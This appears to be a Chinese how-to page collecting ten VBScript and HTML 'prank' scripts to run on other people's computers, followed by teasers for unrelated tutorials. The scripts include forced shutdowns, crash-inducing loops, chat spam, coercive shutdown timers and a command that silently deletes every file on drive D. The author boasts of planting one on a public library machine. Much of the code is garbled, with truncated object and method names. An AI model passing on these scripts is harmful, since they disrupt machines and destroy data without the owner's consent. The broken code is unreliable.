整人程式碼大全
操作方法
【程式碼一】
你開啟好友的聊天對話方塊,然後記下在你QQ裡好友的暱稱,把下面程式碼裡的xx替換一下,就可以自定義傳送QQ資訊到好友的次數(程式碼裡的數字10改一下即可)。
程式碼如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("l")
for i=1 to 10
p 700
wsh.AppActivate("與 xx 聊天中")
Keys "^v"
Keys i
Keys "%s"
next
【程式碼二】
我就用這個程式放在學校圖書館查詢書刊的機器上,好多人都拿它沒辦法。
do
msgbox "You are foolish!"
loop
【程式碼三】
開啟無數個計算器,直到宕機。
set wsh=createobject("l")
do
"calc"
loop
【程式碼四】
直接關機。
dim WSHshell
set WSHshell = teobject("l")
"shutdown -f -s -t 00",0 ,true
【程式碼五】
刪除D:所有檔案。
dim WSHshell
set WSHshell = teobject("l")
"cmd /c ""del d:*.* / f /q /s""",0 ,true
【程式碼六】
不斷彈出視窗
while(1)
msgbox "哈哈 你被耍了!"
loop
【程式碼七】
不斷按下alt+f4(開什麼都關閉)。
dim WSHshell
set WSHshell = teobject("l")
while(1)
Keys "%{F4}"
loop
【程式碼八】
按500次回車 (以上程式碼在執行者的電腦上顯示500個對話方塊。其中 do until s=500 ,500可以隨意更改)。
dim s
do until s=500
s=s+1
msgbox "哥們,給我按500次回車吧",64
loop
【程式碼九】
如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的
時間內關機 我設定的是3分鐘 只要輸入就解除了 當然如果不輸的話也有解除的辦法。程式碼如下:
on error resume next
dim WSHshellA
set WSHshellA = teobject("l")
" /c shutdown -r -t 180 -c ""說我是豬,不說我是豬就一分鐘關機,不信,試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機,快撒,說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = teobject("l")
" /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
【程式碼十】
網頁整人效果程式碼,想看效果,只要複製這下面的所有程式碼儲存在text檔案裡,修改檔案字尾為txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>網頁特效||---很噁心的常見整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('為什麼把滑鼠放到這裡?');
alert('我不是說過不可以這樣嗎?');
alert('你把我的話當什麼了?');
alert('你知道錯了嗎?');
alert('什麼?你居然....');
alert('居然還沒意識到自己做錯了?');
alert('那好,你要為此付出代價!');
alert('我要你在這裡點足一千下......');
alert('什麼?你開始有點後悔了?');
alert('何必呢?');
alert('你當初幹什麼去了?');
alert('不原諒你!');
alert('好從現在開始再點995下......');
alert('你的手開始累了嗎?');
alert('什麼?你已經沒力氣了?');
alert('你一直在求我原諒你啊!');
alert('看來你是真的知道錯了!');
alert('下次你還會這麼做嗎?');
alert('真的不會了?');
alert('那好,今天就放你一馬!');
alert('寫封信給我說聲對不起!');
alert('你能這麼做我很高興!!!');
lor='black';
lor='White';
='mailto:mygod@god?subject=對不起,下次不敢了!';">不許把滑鼠移到這裡</a>
</body>
</html>
-
華為悅盒看電視直播
華為悅盒內建的程式中並沒有看電視直播的軟體,安裝一個電視家即可,讓小編教給你安裝指南。操作方法(01)將電視與華為悅盒用資料線連線好後,開啟電視機和華為悅盒的電源,等待系統啟動。(02)在電腦上將下載好的電視直播程式存放到U盤上,並將U盤插入到華為悅盒上。(03)在華為...
-
百度雲使用磁連結
百度雲現在已經更名為百度網盤。百度網盤不僅儲存功能強大,而且下載功能也很強大。今天小編就告訴大家如何用百度網盤網頁版和百度網盤手機客戶端下載磁力連結。百度網盤手機客戶端下載磁力連結方法(01)首先開啟我們的百度網盤手機客戶端,點選進入右下角選單欄的更...
-
HTML,如何製作導航欄?
在用html做一個網頁時,首先需要處理的是導航欄了。怎樣製作一個導航欄?以前的做法基本都是用table來做,現在我們用無序列表ul來做,下面一起來看下。操作方法(01)首先我們寫html程式碼,就是用ul,li無序列表來放置我們的選單項,程式碼如圖。(02)執行目前的程式碼,可以看到是一個比...
-
Excel中根據身份證號求年齡性別和出生日期
在excel中怎麼根據身份證號來求得年齡性別和出生日期,讓小編教給你操作指南。判斷性別公式:(01)首先讓小編開啟一個工作樣表作為例子。如圖所示:(02)在C26單元格中輸入公式:=IF(MOD(MID(B26,17,1),2),"男","女")來判別男女。如圖所示:(03)下拉填充公式至所有人員行,如圖所...